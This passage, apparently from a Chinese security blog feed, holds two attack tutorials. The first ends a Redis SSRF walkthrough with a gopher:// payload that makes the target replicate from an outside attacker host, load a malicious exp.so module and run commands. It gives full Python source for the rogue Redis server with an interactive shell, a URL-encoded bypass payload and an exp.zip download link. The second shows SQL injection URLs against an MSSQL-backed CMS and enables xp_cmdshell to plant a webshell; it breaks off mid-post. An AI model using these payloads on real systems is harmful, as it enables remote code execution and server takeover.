&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#&amp;nbsp;3&amp;nbsp;for&amp;nbsp;redis&amp;nbsp;rce&amp;nbsp;;&amp;nbsp;31&amp;nbsp;for&amp;nbsp;rce&amp;nbsp;clean&amp;nbsp;up
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#&amp;nbsp;4&amp;nbsp;for&amp;nbsp;info
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#&amp;nbsp;suggest&amp;nbsp;cleaning&amp;nbsp;up&amp;nbsp;when&amp;nbsp;mode&amp;nbsp;3&amp;nbsp;used
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;mode=3

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#&amp;nbsp;input&amp;nbsp;auth&amp;nbsp;passwd&amp;nbsp;or&amp;nbsp;leave&amp;nbsp;blank&amp;nbsp;for&amp;nbsp;no&amp;nbsp;pw
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;passwd&amp;nbsp;=&amp;nbsp;&amp;#39;test&amp;#39;&amp;nbsp;

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;p=generate_payload(passwd,mode)
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;print(p)&lt;/pre&gt;&lt;p&gt;&lt;img src=&quot;http://www.liugongrui.com/zb_users/upload/2020/06/202006031591148523934939.png&quot; alt=&quot;image.png&quot;/&gt;&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;http://www.liugongrui.com/zb_users/upload/2020/06/202006031591148818762749.png&quot; alt=&quot;image.png&quot;/&gt;&lt;/p&gt;&lt;p&gt;gopher://127.0.0.1:6379/_%2A2%0D%0A%244%0D%0AAUTH%0D%0A%244%0D%0Atest%0D%0A%2A3%0D%0A%247%0D%0ASLAVEOF%0D%0A%2414%0D%0A122.51.254.197%0D%0A%244%0D%0A5555%0D%0A%2A4%0D%0A%246%0D%0ACONFIG%0D%0A%243%0D%0ASET%0D%0A%243%0D%0Adir%0D%0A%245%0D%0A/tmp/%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%246%0D%0Aexp.so%0D%0A%2A3%0D%0A%246%0D%0AMODULE%0D%0A%244%0D%0ALOAD%0D%0A%2411%0D%0A/tmp/exp.so%0D%0A%2A2%0D%0A%2411%0D%0Asystem.exec%0D%0A%242%0D%0Aid%0D%0A%2A1%0D%0A%244%0D%0Aquit%0D%0A&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;配置好redis rogue 服务器的ip和端口 ，还有执行的命令&lt;/p&gt;&lt;p&gt;在自己的服务器上启动redis rogue server，代码如下&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-python&quot;&gt;import&amp;nbsp;socket
import&amp;nbsp;time
&amp;nbsp;
CRLF=&amp;quot;\r\n&amp;quot;
payload=open(&amp;quot;exp.so&amp;quot;,&amp;quot;rb&amp;quot;).read()
exp_filename=&amp;quot;exp.so&amp;quot;
&amp;nbsp;
def&amp;nbsp;redis_format(arr):
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;global&amp;nbsp;CRLF
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;global&amp;nbsp;payload
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;redis_arr=arr.split(&amp;quot;&amp;nbsp;&amp;quot;)
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;cmd=&amp;quot;&amp;quot;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;cmd+=&amp;quot;*&amp;quot;+str(len(redis_arr))
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;for&amp;nbsp;x&amp;nbsp;in&amp;nbsp;redis_arr:
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;cmd+=CRLF+&amp;quot;$&amp;quot;+str(len(x))+CRLF+x
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;cmd+=CRLF
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return&amp;nbsp;cmd
&amp;nbsp;
def&amp;nbsp;redis_connect(rhost,rport):
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;sock=socket.socket()
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;sock.connect((rhost,rport))
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return&amp;nbsp;sock
&amp;nbsp;
def&amp;nbsp;send(sock,cmd):
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;sock.send(redis_format(cmd))
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;print(sock.recv(1024).decode(&amp;quot;utf-8&amp;quot;))
&amp;nbsp;
def&amp;nbsp;interact_shell(sock):
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;flag=True
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;try:
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;while&amp;nbsp;flag:
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;shell=raw_input(&amp;quot;\033[1;32;40m[*]\033[0m&amp;nbsp;&amp;quot;)
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;shell=shell.replace(&amp;quot;&amp;nbsp;&amp;quot;,&amp;quot;${IFS}&amp;quot;)
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if&amp;nbsp;shell==&amp;quot;exit&amp;quot;&amp;nbsp;or&amp;nbsp;shell==&amp;quot;quit&amp;quot;:
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;flag=False
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;else:
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;send(sock,&amp;quot;system.exec&amp;nbsp;{}&amp;quot;.format(shell))
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;except&amp;nbsp;KeyboardInterrupt:
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return
&amp;nbsp;
&amp;nbsp;
def&amp;nbsp;RogueServer(lport):
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;global&amp;nbsp;CRLF
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;global&amp;nbsp;payload
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;flag=True
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;result=&amp;quot;&amp;quot;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;sock=socket.socket()
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;sock.bind((&amp;quot;0.0.0.0&amp;quot;,lport))
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;sock.listen(10)
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;clientSock,&amp;nbsp;address&amp;nbsp;=&amp;nbsp;sock.accept()
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;while&amp;nbsp;flag:
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;data&amp;nbsp;=&amp;nbsp;clientSock.recv(1024)
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if&amp;nbsp;&amp;quot;PING&amp;quot;&amp;nbsp;in&amp;nbsp;data:
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;result=&amp;quot;+PONG&amp;quot;+CRLF
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;clientSock.send(result)
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;flag=True
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;elif&amp;nbsp;&amp;quot;REPLCONF&amp;quot;&amp;nbsp;in&amp;nbsp;data:
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;result=&amp;quot;+OK&amp;quot;+CRLF
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;clientSock.send(result)
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;flag=True
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;elif&amp;nbsp;&amp;quot;PSYNC&amp;quot;&amp;nbsp;in&amp;nbsp;data&amp;nbsp;or&amp;nbsp;&amp;quot;SYNC&amp;quot;&amp;nbsp;in&amp;nbsp;data:
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;result&amp;nbsp;=&amp;nbsp;&amp;quot;+FULLRESYNC&amp;nbsp;&amp;quot;&amp;nbsp;+&amp;nbsp;&amp;quot;a&amp;quot;&amp;nbsp;*&amp;nbsp;40&amp;nbsp;+&amp;nbsp;&amp;quot;&amp;nbsp;1&amp;quot;&amp;nbsp;+&amp;nbsp;CRLF
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;result&amp;nbsp;+=&amp;nbsp;&amp;quot;$&amp;quot;&amp;nbsp;+&amp;nbsp;str(len(payload))&amp;nbsp;+&amp;nbsp;CRLF
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;result&amp;nbsp;=&amp;nbsp;result.encode()
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;result&amp;nbsp;+=&amp;nbsp;payload
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;result&amp;nbsp;+=&amp;nbsp;CRLF
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;clientSock.send(result)
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;flag=False
&amp;nbsp;
if&amp;nbsp;__name__==&amp;quot;__main__&amp;quot;:
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;lhost=&amp;quot;122.51.254.197&amp;quot;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;lport=5555
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;RogueServer(lport)&lt;/pre&gt;&lt;p&gt;还需要一个exp.so文件，放在脚本同目录下，exp.so下载地址&amp;nbsp;&lt;/p&gt;&lt;p style=&quot;line-height: 16px;&quot;&gt;&lt;img style=&quot;vertical-align: middle; margin-right: 2px;&quot; src=&quot;http://www.liugongrui.com/zb_users/plugin/UEditor/dialogs/attachment/fileTypeImages/icon_rar.gif&quot;/&gt;&lt;a style=&quot;font-size:12px; color:#0066cc;&quot; href=&quot;http://www.liugongrui.com/zb_users/upload/2020/06/202006031591148706569835.zip&quot; title=&quot;exp.zip&quot;&gt;exp.zip&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;http://www.liugongrui.com/zb_users/upload/2020/06/202006031591148641562606.png&quot; alt=&quot;image.png&quot;/&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;然后启动脚本，监听请求&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;http://www.liugongrui.com/zb_users/upload/2020/06/202006031591148757342028.png&quot; alt=&quot;image.png&quot;/&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;对刚才生成的payload host部分进行替换，&lt;/p&gt;&lt;p&gt;gopher://127.0.0.1:6379/ 替换为&lt;/p&gt;&lt;p&gt;gopher://baidu.com@0.0.0.0:6379@lgr/&lt;/p&gt;&lt;p&gt;得到&lt;/p&gt;&lt;p&gt;gopher://baidu.com@0.0.0.0:6379@lgr/_%2A2%0D%0A%244%0D%0AAUTH%0D%0A%244%0D%0Atest%0D%0A%2A3%0D%0A%247%0D%0ASLAVEOF%0D%0A%2414%0D%0A122.51.254.197%0D%0A%244%0D%0A5555%0D%0A%2A4%0D%0A%246%0D%0ACONFIG%0D%0A%243%0D%0ASET%0D%0A%243%0D%0Adir%0D%0A%245%0D%0A/tmp/%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%246%0D%0Aexp.so%0D%0A%2A3%0D%0A%246%0D%0AMODULE%0D%0A%244%0D%0ALOAD%0D%0A%2411%0D%0A/tmp/exp.so%0D%0A%2A2%0D%0A%2411%0D%0Asystem.exec%0D%0A%242%0D%0Aid%0D%0A%2A1%0D%0A%244%0D%0Aquit%0D%0A&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;然后进行对payload进行urlencode，得到&lt;/p&gt;&lt;p&gt;gopher%3a%2f%2fbaidu.com%400.0.0.0%3a6379%40lgr%2f_%252A2%250D%250A%25244%250D%250AAUTH%250D%250A%25244%250D%250Atest%250D%250A%252A3%250D%250A%25247%250D%250ASLAVEOF%250D%250A%252414%250D%250A122.51.254.197%250D%250A%25244%250D%250A5555%250D%250A%252A4%250D%250A%25246%250D%250ACONFIG%250D%250A%25243%250D%250ASET%250D%250A%25243%250D%250Adir%250D%250A%25245%250D%250A%2ftmp%2f%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25246%250D%250Aexp.so%250D%250A%252A3%250D%250A%25246%250D%250AMODULE%250D%250A%25244%250D%250ALOAD%250D%250A%252411%250D%250A%2ftmp%2fexp.so%250D%250A%252A2%250D%250A%252411%250D%250Asystem.exec%250D%250A%25242%250D%250Aid%250D%250A%252A1%250D%250A%25244%250D%250Aquit%250D%250A&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;放到url参数里，就能执行命令了&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;img src=&quot;http://www.liugongrui.com/zb_users/upload/2020/06/202006031591149131805658.png&quot; alt=&quot;image.png&quot;/&gt;&lt;/p&gt;</description><pubDate>Wed, 03 Jun 2020 08:56:53 +0800</pubDate></item><item><title>MSSQL DBA权限获取WEBSHELL的过程</title><link>http://www.liugongrui.com/?id=262</link><description>&lt;h3 id=&quot;前言&quot; style=&quot;margin: 10px 0px; padding: 0px; font-size: 16px; line-height: 1.5; font-family: Verdana, Arial, Helvetica, sans-serif; white-space: normal; background-color: rgb(254, 254, 242);&quot;&gt;前言&lt;/h3&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; line-height: 1.5; font-size: 13px; font-family: Verdana, Arial, Helvetica, sans-serif; white-space: normal; background-color: rgb(254, 254, 242);&quot;&gt;本文主要通过一个案例来演示一下当MSSQL是DBA权限，且不知道路径的时候如何去获取WEBSHELL。当然这种方式对站库分离的无效。&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;我测试的环境是在Win7 64位下，数据库是SQLServer 2000，IIS版本是7.5，程序是采用风讯的CMS。后台登录后有多处注入，因为这里是演示用注入获取WEBSHELL，因此就不考虑后台上传的情况了，只是用注入来实现。&lt;/p&gt;&lt;h3 id=&quot;过程&quot; style=&quot;margin: 10px 0px; padding: 0px; font-size: 16px; line-height: 1.5; font-family: Verdana, Arial, Helvetica, sans-serif; white-space: normal; background-color: rgb(254, 254, 242);&quot;&gt;过程&lt;/h3&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; line-height: 1.5; font-size: 13px; font-family: Verdana, Arial, Helvetica, sans-serif; white-space: normal; background-color: rgb(254, 254, 242);&quot;&gt;首先找到一个如下的注入点：&lt;/p&gt;&lt;div class=&quot;cnblogs_code&quot; style=&quot;margin: 5px 0px; padding: 5px; background-color: rgb(245, 245, 245); border: 1px solid rgb(204, 204, 204); overflow: auto; white-space: normal; font-family: &amp;quot;Courier New&amp;quot; !important; font-size: 12px !important;&quot;&gt;&lt;pre style=&quot;margin-top: 0px; margin-bottom: 0px; padding: 0px; white-space: pre-wrap; overflow-wrap: break-word; font-family: &amp;quot;Courier New&amp;quot; !important;&quot;&gt;http://192.168.232.138:81/manage/news/Newslist.aspx?ClassID=1&amp;#39;&amp;nbsp;and&amp;nbsp;1=user;--&lt;/pre&gt;&lt;/div&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; line-height: 1.5; font-size: 13px; font-family: Verdana, Arial, Helvetica, sans-serif; white-space: normal; background-color: rgb(254, 254, 242);&quot;&gt;通过SQLMAP可以查看到是DBA权限&lt;img src=&quot;http://www.liugongrui.com/zb_users/upload/2020/06/1591006758725426.png&quot; alt=&quot;注入点&quot; style=&quot;margin: 0px; padding: 0px; border: 0px; height: auto; max-width: 100%;&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; line-height: 1.5; font-size: 13px; font-family: Verdana, Arial, Helvetica, sans-serif; white-space: normal; background-color: rgb(254, 254, 242);&quot;&gt;&lt;img src=&quot;http://www.liugongrui.com/zb_users/upload/2020/06/1591006759636410.png&quot; alt=&quot;DBA权限&quot; width=&quot;1107&quot; height=&quot;122&quot; style=&quot;margin: 0px; padding: 0px; border: 0px; height: auto; max-width: 100%;&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; line-height: 1.5; font-size: 13px; font-family: Verdana, Arial, Helvetica, sans-serif; white-space: normal; background-color: rgb(254, 254, 242);&quot;&gt;创建临时表&lt;/p&gt;&lt;div class=&quot;cnblogs_code&quot; style=&quot;margin: 5px 0px; padding: 5px; background-color: rgb(245, 245, 245); border: 1px solid rgb(204, 204, 204); overflow: auto; white-space: normal; font-family: &amp;quot;Courier New&amp;quot; !important; font-size: 12px !important;&quot;&gt;&lt;pre style=&quot;margin-top: 0px; margin-bottom: 0px; padding: 0px; white-space: pre-wrap; overflow-wrap: break-word; font-family: &amp;quot;Courier New&amp;quot; !important;&quot;&gt;http://192.168.232.138:81/manage/news/Newslist.aspx?ClassID=1&amp;#39;;CREATE&amp;nbsp;TABLE&amp;nbsp;tt_tmp&amp;nbsp;(tmp1&amp;nbsp;varchar(8000));--&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; line-height: 1.5; font-size: 13px; font-family: Verdana, Arial, Helvetica, sans-serif; white-space: normal; background-color: rgb(254, 254, 242);&quot;&gt;在WINDOWS下查找文件用如下命令：&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;&lt;img src=&quot;http://www.liugongrui.com/zb_users/upload/2020/06/1591006914399687.png&quot; alt=&quot;创建临时表&quot; style=&quot;margin: 0px; padding: 0px; border: 0px; height: auto; max-width: 100%;&quot;/&gt;&lt;/p&gt;&lt;div class=&quot;cnblogs_code&quot; style=&quot;margin: 5px 0px; padding: 5px; background-color: rgb(245, 245, 245); border: 1px solid rgb(204, 204, 204); overflow: auto; white-space: normal; font-family: &amp;quot;Courier New&amp;quot; !important; font-size: 12px !important;&quot;&gt;&lt;pre style=&quot;margin-top: 0px; margin-bottom: 0px; padding: 0px; white-space: pre-wrap; overflow-wrap: break-word; font-family: &amp;quot;Courier New&amp;quot; !important;&quot;&gt;for&amp;nbsp;/r&amp;nbsp;目录名:\&amp;nbsp;%i&amp;nbsp;in&amp;nbsp;(匹配模式)&amp;nbsp;do&amp;nbsp;@echo&amp;nbsp;%i&lt;/pre&gt;&lt;/div&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; line-height: 1.5; font-size: 13px; font-family: Verdana, Arial, Helvetica, sans-serif; white-space: normal; background-color: rgb(254, 254, 242);&quot;&gt;例如在C盘下搜索NewsList.aspx，可以使用&lt;code style=&quot;margin: 0px; padding: 0px;&quot;&gt;for /r c:\ %i in (Newslist*.aspx) do @echo %i&lt;/code&gt;或者&lt;code style=&quot;margin: 0px; padding: 0px;&quot;&gt;for /r c:\ %i in (Newslist.aspx*) do @echo %i&lt;/code&gt;&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; line-height: 1.5; font-size: 13px; font-family: Verdana, Arial, Helvetica, sans-serif; white-space: normal; background-color: rgb(254, 254, 242);&quot;&gt;使用&lt;code style=&quot;margin: 0px; padding: 0px;&quot;&gt;for /r c:\ %i in (Newslist*.aspx) do @echo %i&lt;/code&gt;的搜索结果&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;&lt;img src=&quot;http://www.liugongrui.com/zb_users/upload/2020/06/1591006916324368.png&quot; alt=&quot;正确的搜索方式&quot; style=&quot;margin: 0px; padding: 0px; border: 0px; height: auto; max-width: 100%;&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; line-height: 1.5; font-size: 13px; font-family: Verdana, Arial, Helvetica, sans-serif; white-space: normal; background-color: rgb(254, 254, 242);&quot;&gt;一定要在匹配模式里面加上一个*号，不然搜索出来的是全部的目录，后面拼接了你搜索的内容。&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;使用&lt;code style=&quot;margin: 0px; padding: 0px;&quot;&gt;for /r c:\ %i in (Newslist.aspx) do @echo %i&lt;/code&gt;的搜索结果&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; line-height: 1.5; font-size: 13px; font-family: Verdana, Arial, Helvetica, sans-serif; white-space: normal; background-color: rgb(254, 254, 242);&quot;&gt;&lt;img src=&quot;http://www.liugongrui.com/zb_users/upload/2020/06/1591006917456976.png&quot; alt=&quot;错误的搜索结果&quot; style=&quot;margin: 0px; padding: 0px; border: 0px; height: auto; max-width: 100%;&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; line-height: 1.5; font-size: 13px; font-family: Verdana, Arial, Helvetica, sans-serif; white-space: normal; background-color: rgb(254, 254, 242);&quot;&gt;用xp_cmdshell执行查找文件的命令，并将搜索的结果插入到临时表中&lt;/p&gt;&lt;div class=&quot;cnblogs_code&quot; style=&quot;margin: 5px 0px; padding: 5px; background-color: rgb(245, 245, 245); border: 1px solid rgb(204, 204, 204); overflow: auto; white-space: normal; font-family: &amp;quot;Courier New&amp;quot; !important; font-size: 12px !important;&quot;&gt;&lt;pre style=&quot;margin-top: 0px; margin-bottom: 0px; padding: 0px; white-space: pre-wrap; overflow-wrap: break-word; font-family: &amp;quot;Courier New&amp;quot; !important;&quot;&gt;http://192.168.232.138:81/manage/news/Newslist.aspx?ClassID=1&amp;#39;;insert&amp;nbsp;into&amp;nbsp;tt_tmp(tmp1)&amp;nbsp;exec&amp;nbsp;master..xp_cmdshell&amp;nbsp;&amp;#39;for&amp;nbsp;/r&amp;nbsp;c:\&amp;nbsp;%i&amp;nbsp;in&amp;nbsp;(Newslist*.aspx)&amp;nbsp;do&amp;nbsp;@echo&amp;nbsp;%i&amp;nbsp;&amp;#39;;--&lt;/pre&gt;&lt;/div&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; line-height: 1.5; font-size: 13px; font-family: Verdana, Arial, Helvetica, sans-serif; white-space: normal; background-color: rgb(254, 254, 242);&quot;&gt;&lt;img src=&quot;http://www.liugongrui.com/zb_users/upload/2020/06/1591006923550431.png&quot; alt=&quot;无法执行xp_cmdshell&quot; style=&quot;margin: 0px; padding: 0px; border: 0px; height: auto; max-width: 100%;&quot;/&gt;如果无法执行xp_cmdshell，并提示如下错误&lt;code style=&quot;margin: 0px; padding: 0px;&quot;&gt;SQL Server阻止了对组件‘xp_cmdshell’的过程‘sys.xp_cmdshell’的访问。因为此组件已作为此服务嚣安全配置的一部分而被关闭。系统管理员可以通过使用sp_configure启用‘xp_cmdshell’。&lt;/code&gt;&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; line-height: 1.5; font-size: 13px; font-family: Verdana, Arial, Helvetica, sans-serif; white-space: normal; background-color: rgb(254, 254, 242);&quot;&gt;可以使用如下命令来启用xp_cmdshell&lt;/p&gt;&lt;div class=&quot;cnblogs_code&quot; style=&quot;margin: 5px 0px; padding: 5px; background-color: rgb(245, 245, 245); border: 1px solid rgb(204, 204, 204); overflow: auto; white-space: normal; font-family: &amp;quot;Courier New&amp;quot; !important; font-size: 12px !important;&quot;&gt;&lt;pre style=&quot;margin-top: 0px; margin-bottom: 0px; padding: 0px; white-space: pre-wrap; overflow-wrap: break-word; font-family: &amp;quot;Courier New&amp;quot; !important;&quot;&gt;;EXEC&amp;nbsp;sp_configure&amp;nbsp;&amp;#39;show&amp;nbsp;advanced&amp;nbsp;options&amp;#39;,1;//允许修改高级参数RECONFIGURE;
EXEC&amp;nbsp;sp_configure&amp;nbsp;&amp;#39;xp_cmdshell&amp;#39;,1;&amp;nbsp;//打开xp_cmdshell扩展RECONFIGURE;--&lt;/pre&gt;&lt;/div&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; line-height: 1.5; font-size: 13px; font-family: Verdana, Arial, Helvetica, sans-serif; white-space: normal; background-color: rgb(254, 254, 242);&quot;&gt;&lt;img src=&quot;http://www.liugongrui.com/zb_users/upload/2020/06/1591006938795868.png&quot; alt=&quot;执行搜索并结果插入到临时表&quot; style=&quot;margin: 0px; padding: 0px; border: 0px; height: auto; max-width: 100%;&quot;/&gt;然后再次执行搜索命令。&lt;/p&gt;&lt;blockquote style=&quot;margin: 10px 0px; padding: 10px 0px 5px; background: none rgb(254, 254, 242); border: 2px solid rgb(239, 239, 239); min-height: 35px; line-height: 1.6em; color: rgb(51, 51, 51); font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 13px; white-space: normal;&quot;&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; line-height: 1.5; color: rgb(0, 0, 0);&quot;&gt;在执行上述搜索和插入过程后，可以使用&lt;code style=&quot;margin: 0px; padding: 0px;&quot;&gt;&amp;#39; and (select(*) from tt_tmp)&amp;gt;1&lt;/code&gt;页面返回是否正常来判断是否有搜索结果。当没有找到的话，&lt;code style=&quot;margin: 0px; padding: 0px;&quot;&gt;select(*) from tt_tmp&lt;/code&gt;的结果为1，否则大于1。如果没有的话，就换目录，可以试试其他盘符，如&lt;code style=&quot;margin: 0px; padding: 0px;&quot;&gt;&amp;#39;;insert into tt_tmp(tmp1) exec master..xp_cmdshell &amp;#39;for /r d:\ %i in (Newslist*.aspx) do @echo %i 